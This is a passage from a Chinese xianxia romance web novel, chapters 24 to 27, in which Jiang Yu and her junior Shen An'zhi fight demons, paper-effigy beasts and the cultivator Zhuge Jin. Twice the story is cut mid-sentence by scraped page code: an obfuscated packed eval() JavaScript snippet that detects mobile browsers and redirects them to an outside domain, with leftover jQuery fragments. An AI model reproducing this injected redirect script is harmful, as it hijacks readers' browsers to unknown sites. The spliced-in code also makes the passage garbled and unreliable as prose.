没想到沈安之竟还会缝补衣物?这般看着宛若一朵“亭亭净植”的黑莲花。 她之前没有意识到沈安之的衣服和其他人不一样,如今细想,他倒是总是一身玄衣不改。 鹤门宗统一要求的弟子服饰,除了颜色,款式和花纹该都是一模一样,她看看自己衣裙上裙摆绣上的仙鹤数正好该是六只。 沈安之袍角却不是。 姜喻脚蹲麻了,发出一声细微响动,努了努嘴想起身跑路,恰逢沈安之抬首,两人视线交织在一起。 “嗨。”姜喻干笑一声,起身打开门扉,大大方方地拿出洗干净的披风站在门外,轻敲了敲门,“师弟我不是故意偷看。” “师姐就有意偷看?说吧,有何事。”沈安之飞速挥手将桌岸上的东西收入储物袋,桌面一扫而空。 姜喻把墨色披风放在桌面,“我来还披风,顺来问问师弟伤势恢复如何。” 沈安之轻挑眉,押了一口茶,“好多了,师姐还有事情吗?” 姜喻灵光一闪,“有,当然有。师弟,师姐有一件衣裙破了,你帮我补一下吧。” 沈安之抱臂后仰,“师姐不是从不穿破损衣物吗?” “不行吗?”姜喻故作可怜地坐下来,托腮看着他。 “咳,故作姿态。”沈安之摩挲着铜钱,指尖夹着铜钱敲了敲桌面,“拿来吧。” 姜喻惊喜得憋住嘴角上扬,亮晶晶的眸子闪了闪。 她醉翁之意不在酒。 哪有什么破损的衣裙,利用一点小忙拉进彼此的关系,这样她就有理由正大光明地送沈安之衣袍作为报答。 姜喻忙不迭地站起来身,“师弟等等啊。” 小跑回房,拿出换洗下的绯红衣裙,用袖口短刀给裙裾化开一道手掌宽的裂缝。 拿回来放在桌面,姜喻笑盈盈地托腮看着他。 沈安之尾指挑起衣裙瞧了瞧。 姜喻提前找好了理由,佯装回忆道:“肯定月黑风高时,我救人被树枝划破的。” 沈安之慵懒姿态地挑眉,“师姐既是不爱穿破损衣裙,我看这衣裙破损成这样,丢了吧。” 24. 第24章 姜喻神情不变,笑盈盈托腮道:“丢了多浪费,我现在没有储物袋,总共就几件衣裳。”她可劲地眨了眨眼。 沈安之看她娇俏的笑颜,又一副不依不饶的模样,瞥看了一眼崭新整齐的刀痕,弯唇轻哼一声,意味不明地掀开眼皮看她。 “师弟,我想要一只仙鹤,就在这儿。”她前倾身形,指了指缝隙轻笑道,“红线金眼仙鹤。” 直视她期待目光,漫不经心地指尖摩挲衣裙边沿,故作沉吟道:“或许,倒有转机。” “师弟,说说看。”姜喻顺着他的话道。 他漫不经心地把玩着一枚铜钱,声音低缓,“师姐……不然回答我一个问题。” “什么问题?” 眼底压抑着一丝惊心动魄外泄的情绪,“师姐对我的事情,当真都会认真对待?” 姜喻被问的出神了一瞬,反应来忙不迭地点头。 “为什么?” “自然是你是我的师弟呀。”姜喻心底摸摸给自己点赞。 “是吗?”沈安之轻慢一笑,烛火在他眼底跳跃,映得他唇边那抹笑意愈发轻慢,带着一丝不容错辨的狎昵,叫姜喻一瞬恍惚。 “问题也答了,师弟可得答应我了。君子一言,驷马难追。” “师姐,我从未说过自己是什么君子。”沈安之微挑眉梢,说得坦荡。 可指尖摩挲铜钱的动作却加快了许多。 “师姐,出去吧。” “师弟,同意还是拒绝?你不说我不出去。”姜喻眼前一花,眼睁睁地瞧着沈安之消失在桌岸。而她本人移形换影,被沈安之阵法传送出现在紧闭的房门外。 他喊她进去的,现在又赶她出去…… 姜喻攥紧拳头,气得挥拳距离门一指停顿,一拳头挥打在半空。 等她完成任务,定要离这朵黑莲花远远的。 最好是——永、远、别、见。 不过沈安之倒没给她把衣裙丢出来,姜喻也非毫不在意,有些挫败地回屋,一个极为眼熟的东西放在桌面。 粉白牡丹绣花底的储物袋静静放在桌面。 姜喻惊喜地拿着储物袋打开,东西一件不少。她左右看了看也没个人影,谁给她在山里找到送来的? 莫非是……沈安之? 姜喻心头涌起一丝暖意,沈安之居然还记得。 那他岂不是伤势未愈就又重新回去…… 她捏着储物袋,心底有着道不明的动容。 姜喻心满意足地抱着储物袋躺在床上,刚刚闭上眼,便一股不同寻常的困意如潮水袭来。 动了动手指却提不起一点力气。 摇曳的烛火在昏暗中投下诡谲的光晕,一道颀长黑影无声地推门而入。 那道影子在她散落着珠钗的梳妆台前停驻,铜镜里模糊映出黑影面具下颌的轮廓。 幽深的目光正沉沉锁住镜中倒影的姜喻,姜喻惊骇地闭上眼,僵在床上无法动弹。 谁? 姜喻发不出一点声音。 完蛋了……睡觉这么脆弱的时候找上门的人能是什么好人。 面具人轻手轻脚地翻找了一会,似有顿足,扭头看向床榻的姜喻调转方向,手停在距离棉被一寸停歇。 姜喻下意识屏住呼吸。 “不对,怎么没有香味。”嗓音敦厚低沉略带嫌弃,扭头离开。 面具人一消失,姜喻鲤鱼打滚地爬起来,小心翼翼地推开门缝看了一眼,见无人了,赶紧拍上隔壁沈安之的大房。 “师弟,师弟……” 下一秒,房门被沈安之打开。 “刚刚有个带着黑色金属面具人在我厢房……” 沈安之垂着眸,耐心听姜喻倒豆子似的快速说完。待她话音落下,径自越过她推开了隔壁的木门。 两道身影没入屋内微暗的光线里,烛火劈啪作响。 沈安之警惕地环顾一圈内里,没感应一丝一毫的妖气,“可惜,离开了。”鸦羽似的长睫低垂,姜喻一只手抓着他衣袍,近乎快粘上他胳膊,“不知他会不会回来,师姐不跟来……” 姜喻惊觉下意识抓着,默默放开,弯唇一笑,“当然得跟上。” 姜喻捏着手中炽阳符,联想到刚刚面具人所说的香味,又跟上前拉着他衣袖轻扯了一下,“师弟,你闻闻我身上有味道吗?” 沈安之顿足,从她拉着衣袖的指尖上移到娇俏可人的面容,带着一丝稚气未脱的婴儿肥。 少女踮着脚,往前微微前倾,“快闻闻,刚刚那个面具人好像在找什么有香味的东西。” 沈安之轻嗤一声,眸光流转在她纤细白皙的脖颈停留一瞬,鬼使神差弯腰凑近,几乎可以看清少女亮眸根根分明的长睫。 她长睫翕动,某处雀跃的一乱。喉结缓慢滚动,他随意闻了一下,立马僵直身形微侧头,少女自带的馨香钻入鼻翼,像水蜜桃,又似他爱的栗子糖。 “有。”沈安之摩挲着铜钱,微微前倾弯腰凝望她的眼,实话实说道,“一点而已,不足为奇。” “哦。” 姜喻狡黠一笑抓着他双臂,踮脚在他下颌的衣领轻闻了闻,抬眸正对上一双晦暗的墨眸,笑了两声退后一步,“师弟,你身上倒是很香。” 沈安之察觉到她呼吸浮动,有一瞬似有若无地喷洒在脖颈,嗓音低哑,“哦?” 姜喻轻笑道:“皂角香,还有一种果蜜味。不过这一次,我没闻到了。” 姜喻细想好几次闻到他身上稍纵即逝的香味,似乎每次都在他受伤时,不知是否有关联…… 她刚要开口,烛光陡然熄灭。 巡查一圈的宁贺辞踏着昏暗的夜色,听到对话的动静上楼,两步并一步跨着台阶停在厢房外,“姜姑娘,沈公子可要帮忙?” “没事。”姜喻有意暗示,“宁公子,刚刚有人在我屋内翻箱倒柜,你们可要当心了!” “好。”宁贺辞循着姜喻指位置重新走了一遍,果然有翻动的痕迹。 “姜姑娘不若下来与我们的蓬莱阁弟子一起住二楼,若是此人心怀不轨,再来也不惧。” “好啊,人多热闹。” 沈安之指尖轻扣手臂,随意耸了耸肩,“我无所谓。”目光却落在姜喻笑颜。 宁贺辞继续提议道:“我隔壁恰巧空着两间厢房,一直有人打理。你们两人独居三楼,到底冷清了些,不若……” 眼看姜喻就要答应,沈安之燥郁地看了指尖的铜钱,“不劳烦宁公子。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633563|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈安之抬眸向前一步,面上温良笑意,适时打断了他的话,余光瞥了眼雀雀欲走的姜喻,“话说回来,师姐既是我同门,就该跟着我。去别的宗门那儿蹭住,回头让顾师姐知道了怕是要生气的。你说对吧,师姐?” 姜喻略带疑惑地看向他,此事与顾疏雨有什么关系,沈安之故意和她不对付了…… 她唇瓣翕动却发不出一丝声音,身体不能动弹,诧异地瞪圆妍丽的眸子。 沈安之,搞什么鬼了? 沈安之轻挑眉梢,“师姐不说话当是同意了。”拉起姜喻的腕骨往前走,余光瞥向他,“宁公子早些回去。” 宁贺辞见两人如此再不强求,转身离开。 待他下楼消失,沈安之这才放了手。 姜喻总算能发出声音:“师弟,禁我言做什么!” “自然是我不想错过师姐的热闹。”沈安之倏然一笑,眸底暗流翻涌,笑意却未及眼底,“呵,师姐这般急着要与他同往?” 姜喻心头一跳,沈安之难不成在拈酸吃醋? 意识到什么,姜喻压下嘴角笑意,立马摇头如拨浪鼓:“哪有!我可一点没想去。那个……师弟,要不……容我打个地铺可好?” 沈安之径直打开木门,没听见她的脚步声驻足低声道:“跟上,关门。” 姜喻笑着努了努嘴,跟在沈安之身后进入厢房,一眼就看见了桌案上的红裙,走近看清一只栩栩如生的金眼红鹤在白鹤中,仿佛跃然飞出。 “师弟你真厉害。”姜喻举起衣裙,由衷夸赞,回眸粲然一笑,“这仙鹤真好看。” 沈安之被她璨然一笑晃得眼前一花,心口微窒,几乎是同时侧身闪入屏风之后,指节在袖中悄然发白。 见他不答,姜喻喜滋滋地打好地铺,盖上被子放空脑袋。 姜喻耳边萦绕汩汩水流声,脑海禁不住浮现沈安之模样。这般此情此景,很难不让人浮想联翩。 她盖上被子遮住笑颜,“师弟,储物袋多谢你帮我寻回。” “不过是偶然无聊进山捡到的。” 沈安之泡进浴桶,雾气氤氲中,他扶着额头,眼尾洇着薄红,水珠沿着棱角分明的脸颊轮廓滚过凸起的喉结。 他刚刚在干什么…… 姜喻轻笑道:“确实很偶然……”就是嘴硬的很。 “你灯下替我补衣,又替我寻回储物袋。”姜喻声音轻快,“师弟心肠是顶好的,偏生这张嘴比石头还硬。往后……也一直这般‘好’下去,可好?” “师姐觉得,我会是个‘好人’吗?”沈安之转眸盯上屏风,仿佛透过它看向那道身影。 “芸芸众生万千,非黑即白的本身要求也是一种对他人严苛的恶。坚守本心,无愧于心,便是对自己好的‘好人’。” 沈安之不置可否,泡完起身擦净,衣带系得一丝不苟,转出屏风。 他脚步轻缓,正欲开口,却只闻得内室传来她绵长而规律的呼吸声。 烛影摇曳下,姜喻裹在软被里探出半张莹白的脸,墨发铺散枕畔,睡得正沉,眉宇间一派安恬宁静。 沈安之立在原地微怔,目光落在她毫无防备的睡颜上,唇边弯起一个极淡的弧度。 真是一点防备都没有,师姐。 25. 第25章 沈安之半蹲于姜喻身侧,玄色衣摆委地。垂眸凝视她的容颜,修长如玉的指节带着某种近乎偏执的耐心,轻触了一下温软的颊侧。 沈安之指尖微顿,竟不忍打断她的睡意。 姜喻的脸颊被戳得发痒,微微歪向一边,浓密的睫毛几不可察地颤了颤。 注意到房间内逐渐温度降低,眸底的温度逐渐冷却,低声道:“醒醒……” 姜喻睡得迷糊,微微眯眼,瞧见身侧有一黑影,惊醒了所有的瞌睡虫。弹坐起身,抽出炽阳符扔出去,被一晃而过的指尖夹住纸符,他漫不经心地轻晃了晃。 定睛一看是披散头发的沈安之,惊讶道:“师弟叫醒我做什么?” 苍白指尖在暗影里若隐若现,“醒了?师姐你别动,背后角落……是妖。”他咬重了最后几个字。 姜喻脊背瞬间绷紧:“有多少?” 见她如此信任,沈安之眸光忽闪,面色隐匿在昏暗中蓦然弯唇,凉凉吐出两字:“很多。” 烛火挣扎的昏黄光晕中,粘稠如墨汁的黑影自角落涌出,无声游走、蠕动,所过之处,那点微弱的光晕竟似被啃噬般迅速黯淡。 姜喻看得头皮发麻…… 沈安之垂眸冷笑一声,揽着她的腰跃上木桌,铜钱剑听差砍向黑影。 剑光闪过下去,它们一分二,二分四……飞速抢占了剩余的空间。 “果然行不通。”沈安之语气淡定。 黑团子吐出的黑雾带有腐蚀的毒,桌椅床幔沾上一点便逐渐透白腐化,能清晰听见此起彼伏木头咔擦倒塌的声音。 “不行,再这样下去,我们耗尽体力不死也得被毒死。”姜喻担忧道。 何况他们这般响动且无人支援,说明落入了妖物结界的圈套。 姜喻摸出为数不多的炽阳符,全塞进沈安之掌心:“用炽阳符烧,可行不?” 沈安之明显一愣,歪头:“师姐倒是信我。此地结界封闭,若是烧起来,一个不小心师姐与我一同葬身火海。” “那没有其他办法了……” “师姐怕疼不?”沈安之故意提起这事,微微俯身。 姜喻干笑一声,往他怀里凑了凑,嘴硬道:“不怕啊,我才不怕……” “那可得看好了,别吓得闭眼。” 无声扣住她腕骨,沈安之弯唇笑得肆意,转而骨节分明的手轻扣住她的后颈。 姜喻耳边传来他清晰的心跳声,脸颊拂过未擦干的发丝。 沈安之眸光如寒刃看向那些妖物,口中默念口诀,丢出的炽阳符搭配一股从地而起的骤风。 炙热火光所达之处,黑影烧成灰烬。 他们所处的地方热浪滚滚,汗水浸透的鬓发黏在颊边,她甚至能闻见自己头发蜷曲后的焦糊味。 她该不会被烧成秃子吧。 这样死样惨惨的,还是个凄惨黑秃子。 火蛇舔舐床幔蔓延至房梁,但她除了觉得热竟无一点灼痛。 待过了许久,四周温度骤降。 姜喻抬眸扫了眼周围,厢房烧的一干二净,带着火星的桌椅几乎碳化。 血腥味漫在鼻翼,湿热液体滴在姜喻的脸颊,似有若无地奇异迷人的香味,让她神情恍惚了一瞬。 好香啊,像一颗是香香甜甜的移动糖丸。 姜喻轻咬了咬下唇,飞速抬首,飞溅的木屑划破沈安之的眉尾,成了一道狭小的口子,嫣红沿轮廓滴落在她脸颊。 血…… 沈安之的血! “师弟,你流血了。”姜喻微皱秀眉,敛袖轻擦了擦他的脸颊。 白皙的手划过肌肤带着特有的温热,细微的、酥麻的异样感悄然滋生,自相触之处无声蔓延,悄然窜入沈安之心海。 沈安之垂眸凝望,几不可察地前倾身形弯腰任由她的动作,回神意识到自己在做什么,他舔了舔唇,错开半步身,抬起手背不甚在意得擦去,微侧脸颊掩下心底一丝涟漪。 余光瞥见她脸侧没干涸的血迹,屈指揩去。“别动。”力道略重,似乎想抹除掉不该存在的痕迹。 姜喻眼尖,一眼看出他手背被灼热燎烧的全是密密麻麻的水泡。 这只手似乎是曾护着她的头。 如此大的火,她能毫发无伤,仅沈安之一人负伤。 沈安之又一次救了她。 他救了很多次她…… 心底一股气冲到脑门,没由来的气恼贴近,姜喻抓过少年腕骨,垂眸仔细看了看。 “疼不疼?” “有何好说,别看了。”沈安之不以为意道。可面对突然举动,被抓着的腕骨似有电流划过。 他第一次感觉别扭的情绪,他不想她一而再再而三看见他狼狈模样。 企图抽回却见她眸光澈亮,不容拒绝地拿出药膏涂抹。 沈安之回扣圈住她的皓腕举起,阻止她涂抹的动作,眼眸聚着不易察觉的微光,“师姐这又是做什么。” “很明显啊,我在给你抹药。”姜喻亦是不甘示弱地回看回去。 沈安之被她看得失神一瞬,无意识摩挲她的腕骨凸起的骨节。 她的手腕很细,细到他稍加用力可以从中折断。 沈安之悄然收了几分力,若是折断了,可没人为他炼药寻药了。 她又娇气,还怕疼。 意识到心中所想,他忍住回忆起曾经,压下声音故意道:“看了可莫说我是脏了你的眼去。”沈安之却是一笑,眼下朱砂痣妖冶的很。 “我不会。”姜喻稍微拔高音量,附加道,“我不会说这样的话。”她毕竟不是原主。 他对上姜喻的视线心中微动,他该接受如今的姜喻并非从前那个目中无人的她。一点点松开手,“一点小伤而已……师姐大惊小怪。” 话虽如此,却在她低头处理时眸光紧盯少女脸颊,皮肤娇嫩如一捧雪,没有一点瑕疵。她微俯身吹了吹,手背上有温热温柔的微风拂过,灼痛亦如潮水般褪去了几分。 从未有人像她这般……这般靠近他这么个“危险”人物。 自无人知晓的角落,少年黝黑深邃的心海深渊悄然种下一颗未知的种子。 放轻了手上的动作,她认真涂抹完,“小伤又怎么样?小伤口依然会疼。不管多大的伤口,疼在那一瞬存在过,何况伤口处理不好会留疤。” 抬起妍丽眸子看向沈安之,沈安之遂悄然藏起眼底化不开的墨色和欲.念。 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639685|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喻包扎时便在想,沈安之如此不在意自己受伤,潜意识中又何谈在意别人的生死?往后遭遇一系列不公待遇和打击,逐渐沉沦入黑暗。 “好了。”姜喻满意地看着包扎好的手背。 细细想来,沈安之最近一直在受伤。 姜喻心里有些不是滋味。 沈安之翻动手腕看了看,散漫的眸光投下,“找出去的路。” 姜喻从储物袋拿出颗糖丸塞进他口中,“等着,我去找。”说完转身去到厢房大门。 沈安之神情顿时微怔,眸中亮光一转,竟在姜喻转身去寻出路时,指腹随意擦过唇尾咬碎硬糖,意味深长地歪头抿唇。 姜喻指尖落在距离碳状木门一厘米外的位置,任然无法穿透,透明薄膜似的结界隐隐透着寒意。 结界突然震颤起来,琉璃寸裂般的发出清脆声音,剥落失重感感自脚底极速爬升。 姜喻一个激灵退后一步,一只手自昏暗中伸出,她腾空而起被人拦腰抱住。 单手搂上纤细腰肢,二人站在铜钱剑上,四周场景转眼化作潮湿的岩洞。 “居然是移形阵法,有意思。”沈安之安之若素放了手,持剑尚有兴趣地走在最前。 “这人盯上我们了。”姜喻看了眼潮湿阴寒的环境。 “他不找我们,我们也得寻他去。呵,找到了。”沈安之肆意一笑,一剑刺入岩石裂开一条细缝,一脚踩上去扔枚铜钱。 整面岩壁轰然倒塌,刺骨阴风呼啸耳稍发丝。 瞧了眼他披散倾泻的墨发,发尾蜷曲暗红,完全察无所觉,姜喻轻笑了一下,在意喊住他:“师弟,等等。” 沈安之疑惑回头,姜喻适时眸光错开。 “师姐笑什么?” “没啊,师弟先把墨发束一下。”姜喻笑着取出一条绯红发带,拉着他俯身,沈安之愣了一下半蹲下来任她将墨发半披半束。 尾指轻勾起发带看了一眼,弯唇往前走。 两人一同进去,洞里石桌、石椅、石床一应俱全。 沈安之指尖漫不经心地擦过桌面,“干净,住过。” 姜喻看不出线索,但这一幕原著提到过,她踮脚在一切能摸索的地方试探捣鼓。 “师姐在做什么?” “翻找有什么机关。” 沈安之沉默地收回目光。 ——她还是太天真。 烛影幽微的石道上,唯有两人交错的呼吸、衣袂摩擦的脚步声,以及烛芯偶尔爆裂的细响,还有……腐蚀酸臭味。 “屏息,有毒。”沈安之屏息靠近姜喻。 姜喻捂住口鼻眨了眨眼。 岩壁顶部贴着的纸花飘下来,转眼变化四肢,化作面目狰狞的纸扎人。 一时间,场面有些混乱。 沈安之一剑阻碍纸扎人步伐,姜喻手忙脚乱寻找机关。 “咔嚓——” 随着姜喻手中旋转一盏不起眼的烛台,一道暗门赫然出现,黝黑的台阶自下而上。 沈安之垂眸一剑砍灭了纸扎人,思绪落在暗门一瞬晃神。 他是小瞧师姐的本事。 姜喻指了指暗门:“师弟,有路!” “快走。” 26、第26章 两人飞速迈上台阶。 沈安之还有时间问出心中疑问:“师姐怎么知道出路?” “这个嘛……”姜喻脑袋飞速运转,理清说辞道,”密室中一般主人自留一道暗门,或是逃生,或者做些见不得人的事情。自然是猜到了。” 沈安之微挑眉梢,面色不显,“哦?那是谁定的规矩?” 姜喻不敢看身后追逐的纸扎人,跑的聚精会神又气喘吁吁,随口说:“大概话本作者的理。” 沈安之哑然弯唇,“还真能是……阅书广泛。” 听着像夸人,语气却不太像。 姜喻微瘪了瘪嘴,向上奔袭的速度也累的不知不觉慢下来,沈安之反手握紧她的皓腕,“别慢了。”拉着她冲出暗道尽头,拨开乱石堆后垂落的厚重藤蔓。 洞口被掩得严严实实,几乎与嶙峋山壁融为一体。 姜喻狼狈地从石堆后钻出,还未来得及喘匀呼吸,“太好了,我们出来了,纸扎人都没有追过来。”双手撑着膝盖,累的气喘吁吁。这副身躯一动就全身酸疼,体力不支。 夜风卷起枯叶,头顶一弯冷冽的弦月,无声悬在天幕。 沈安之未回答,一味地盯紧前方,露出意味深长的笑。 两道视线不期而遇,碰撞在一棵树阴影下,那双混浊又布满血丝的眸,眸底闪烁着细碎又阴沉的精光。 沈安之召出铜钱剑,笃定道:“找到你了,诸葛前辈。天乩城城内装神弄鬼,是前辈您吧。”他尾音微微上扬。 “你这娃娃,原来是故意装模作样引我前来。”诸葛瑾捋了捋须白鬓发,身高颀长,虽不惑之年,却格外精神。 指尖夹着纸片扔出去,落地化为两尊熊熊燃烧的纸扎狮子,每一根毫毛栩栩如生。 似怪非怪,似妖非妖。 “怎会晚辈故意,分明是前辈按耐不住想杀人灭口。”最后四个字沈安之咬重极为戏谑,面上神情却多了一丝警惕。 姜喻听明白沈安之的意思,眼前中年的灰袍男子,便是原著提到金丹期符修——诸葛瑾,此次天乩城邪祟作乱的小反派。 纸扎狮子猛扑而来,汪洋恣肆的少年郎不动声色地回击,剑法愈发凌厉果断,带着弑杀的凉意。 “江湖眼瞎人居多,他们小瞧你个晚辈,我也倒是小瞧你。”诸葛瑾眸光微颤,眼底是压制不住精光,“小妖们说时我不信,那香味来源竟是你这小娃娃……” 沈安之一道剑风打断了他的话。 姜喻老老实实地躲在一棵树后探出脑袋,两人打斗声激昂焦灼有来有回,对话断断续续,她依然听了个七七八八。 香味? 无论是妖,还是诸葛瑾,亦或者那神秘面具人都再找的香味…… 沈安之的鲜血味道…… 她担心沈安之能否解决,脑海隐隐闪过一丝念头,飞速冒出惊人之事。 诸葛瑾所说的该不会是沈安之独特体质吧,原著没描述过沈安之血液独特到还有独特味道。 姜喻想到自己炽阳符全用完了,掏出储物袋的一堆宝物,砸也能把诸葛瑾砸死。 不过诸葛瑾狡诈,她紧张得盯紧柔嫩掌心,心一横,匕首刮破手掌心,很快割破的伤口血珠翻涌,疼得她咬牙抑制声音。 诸葛瑾寻着鲜血味侧头看去,注意到少女躲藏的位置。 沈安之眸光一沉,心念微动,持剑接近诸葛瑾。 姜喻捂住着手,疼得倒吸一口气。额头密布汗珠,脸色微微苍白。 下一刻,她身子陡然一轻,骤然失重,视线颠倒间垂落的青丝拂过鼻尖。低头只见两股凝成爪形的阴寒雾气,正死死扣住她脚踝将人倒悬半空。 得,又搞这出! “又来!”她失血加上倒吊着,顿时头晕眼花,多么似曾相识的一幕。 诸葛瑾清晰捕捉到沈安之眸光忽闪,因身后之事分神一瞬,操纵纸扎狮子险些划破他的脊背。 灵活如剑修,果真是讨厌至极。 诸葛瑾循少女清脆惊呼看去,雾妖很喜欢穿戴亮晶晶,绯红衣裙小姑娘呀。 诸葛瑾乜斜着少年,轻蔑一笑:“小娃娃,你会为你的轻狂付出代价。” 姜喻被黑雾径直蜷起脖子和手臂拖到半空,难受地吊在沈安之和诸葛瑾中央。注意到沈安之差点受伤,眼眶微红。 “我向来不喜欢代价。”沈安之悠悠掀开眼帘,执剑的指尖泛白。 他自认为不曾在意他人生死,也会有一天心见她眼眶泛红而感到一阵心乱。 “小姑娘你不救呢?”诸葛瑾有意刺激他,让他意乱而剑乱。 “你觉得了?要不,去死吧。”沈安之压下长睫,眼底晦暗一闪而过,阴鸷的眸光落在诸葛瑾身上。 姜喻寸寸攥紧拳头,血从指缝不断滴落,指节嵌入掌心,疼得她心底也针锥扎下似的,刺得她一痛。 她声音不禁带了哽咽道:“沈安之我是平日话多些又缠着你,你会嫌我聒噪,嫌我烦……” 眼中却用闪着别样的光,眼神暗示他去取她储物袋里掉落的宝笛。 沈安之摩挲着铜钱,见那些鲜血染红的手,心脏蓦然一疼,有种怒意在心底转瞬即逝。 他接受到姜喻暗示,轻掀起嘴角。 她果真信他。 扭头看向诸葛瑾展露意味不明笑容…… “前辈认为了……”他故意压低声音。 诸葛瑾注意放在少女染红的掌心。 刚刚的香味似乎来自她,他坚定是少年的意识,有一瞬迷惑。 沈安之指尖漫不经心地拨动耳侧玄红流苏,挑起眉梢微皱眉看向少女发红的眼眶,有意语气压低,“师姐,我说的可不是你。” 姜喻怕他真让他去死,怕他没看懂自己暗示,眼泪刚涌出眼眶又有骨气地收回去:“真的?师弟,你说话大喘气……” 诸葛瑾看的精彩,却隐隐察觉有何不对,微蹙起眉宇。他确实没太看懂沈安之为何如此消遣少女,不过轻狂邪性的样子,倒是和他年轻时有几分相像。 诸葛瑾想的出神身形一歪,脚踝突然痛地酸麻,一条银白色小蛇钻出草丛,飞快咬了他一口,转眼疾速钻进灌木丛,叫人毫无防备。 毒素蔓延开不过随着两个呼吸间,诸葛瑾四肢麻木,勉强撑着头摇晃地踉跄,扶着纸扎狮子才避免摔倒在地。 “你——” “闭眼。”沈安之声音不大,足够姜喻听清。 姜喻应声紧闭上眼,身形下意识颤了颤。雾妖被沈安之一剑偷袭,翻身捡起的灵笛发出清脆灵力波动袭击,混合剑气撕扯着雾妖,它忍痛发出呜呜咽咽地哭喊。 下一刻,姜喻浑身被雾妖松开,腰上一沉,有人接住了她。 温热的指腹轻摸了摸她的眼皮,俯身附耳,喑哑的声音似有若无的压低:“睁眼。” 姜喻长睫微颤,睁开眼亲眼目睹一颗妖丹炸开,眼前一幕如烟花璀璨一亮。 “你这是作何?你把它杀了?”姜喻说话时微微侧眸看了眼少年下颌。 “自然。”沈安之垂眸冷笑一声,语气一贯轻松,目光落在瘫软的诸葛瑾被纸扎狮子叼上背。 “慢走,不送。” “奸诈刻薄。”诸葛瑾许久未曾吃过瘪,何况在一个不大的少年手中。但他更心惊的是毒素蔓延的速度超过他的预期,“何毒如此猛烈?” “一点……春光散罢了。”沈安之泰然自若,轻挑眉梢。 “腌臜,腌臜。”诸葛瑾铁青着老脸,怒地连说两声,挥袖指挥几头纸扎狮子不留余地地缠斗沈安之。 待沈安之解决完,诸葛瑾早已逃之夭夭。 沈安之放开姜喻的腰肢,背过手时指腹下意识摩挲。 姜喻仰首抬眸,好奇地追问:“什么是春光散?” 沈安之轻哼一声,“师姐莫问好,免得脏了耳朵。” “有什么是我不可知道的。”姜喻挺直腰板,正经道,“何况我是你师姐。” “呵。”沈安之弯唇敛眸,指尖轻戳了戳她发髻的蝴蝶发簪的薄翼,“师姐又如何,师姐怎么不说年岁比我小了。” “那我辈分摆在这里。何况你不过就比我大三岁。”姜喻小声嘟囔。 原著剧情中沈安之确确实实比姜喻大了三岁而已,虽是顾疏雨亲自带回来的人,但是按照宗门严格的长幼有序来讲,倒也是无可厚非。 沈安之知不争的事实,不置可否。 姜喻大胆猜测,小声道:“莫非是师弟特制的毒药?” “……” “好吧,好吧,又不准备搭理我。” “一点让人浑身无力,心猿意马的药而已。” 姜喻瞳孔微缩,眨了眨眼,脑袋只有四个字:真损,真阴。 沈安之抱臂侧眸,说的坦荡,“特殊手段而已。” “那刚刚小蛇了?” “我炼制的法器。” “有名字吗?” “没有。” 姜喻踮脚凑近,沈安之呼吸微滞退后半步,她仔仔细细地观察着他左耳的耳饰,“我一直以为它是个漂亮装饰,没想到关键时候帮大忙。它很漂亮,师弟不仅会刺绣缝补,连炼器都做得如此精致绝伦。” 姜喻彩虹屁张口就来。 沈安之被姜喻过分清亮的眸子盯得脊背微僵,退后半步距离,鸦羽似的眼睫垂落,喉结无声地滚动了一下,才逸出一声轻咳:“……尚可吧。” “倒不如给它起个好听名字,”姜喻微歪着头,杏眸倏亮,“火树银花,快如闪电……唔,叫‘银花’如何?”尾音上扬,又带着点小得意。 “不怎么样。”沈安之看她一眼。 “好吧。”姜喻拖长了调子,懒洋洋应了声,眨眨眼便收了声,仿佛刚才只是一时的兴致,浑不在意地任它散去。 沈安之背在身后的摩挲着铜钱的手,几不可查地停顿一下,“一个名字而已,无所谓叫什么。” 姜喻抬眸眼前一亮,“那就叫银花啦。” 27、第27章 姜喻一时兴起,踮起脚背着手,笑着抬眸:“不然,我出材料,师弟帮我同样炼制一件法器。” 沈安之眼神瞥过她的手掌,心底莫名不舒服,“师姐当真毫不客气。” “当然,你可是我师弟。师姐自然不白辛苦你,要多少灵石,师姐都可以给你。” “……” 沈安之一时语塞,更微惊的是自己竟没第一时间回绝。 沈安之摩挲铜钱的指尖加快,侧眸瞥了她一眼,“师姐有力气说这个,不若先把血止一下。师姐这是打算血尽而亡?” 姜喻这才看向掌心,后知后觉疼得她嘶了一声。余光瞧了眼沈安之,他步伐放慢侧眸看了眼,似乎察觉到她抬眸不动声色地偏过头。 姜喻小步伐靠近几分,还未开口就见他停下步伐。唇角漾起笑意,“师弟,怪疼的,我这受伤了不好包扎。” “师姐是想让我来……” 沈安之微侧身,回眸看向她,眸光落在翻卷皮肉的掌心,抬手圈着她腕骨扫了一眼掌心,红地刺眼,他微皱眉看了眼。 莫名被他看的心虚,姜喻咽口唾沫垂下头。 沈安之应该看不出些什么。 姜喻瓮声瓮气道:“嗯。” 沈安之微微倾身呼吸略显急促了一瞬,又怕她疼克制着手上力量,压低声音:“为何割破手心?” 姜喻轻咬了咬下唇,“我只是不小心自己割到,师弟。” 她都这样了,还起疑心了。不得不说,还得是沈安之。 沈安之将信将疑地松开手,拿出药瓶撒下药粉,挑起眉梢对上她视线,视线描绘过她的长睫。 这道伤口走向从外到内,明显刀柄对准自己,很显然是她自己割破的。至于为什么,沈安之有些不明白,下意识摸了摸她腕骨凸起的骨节。 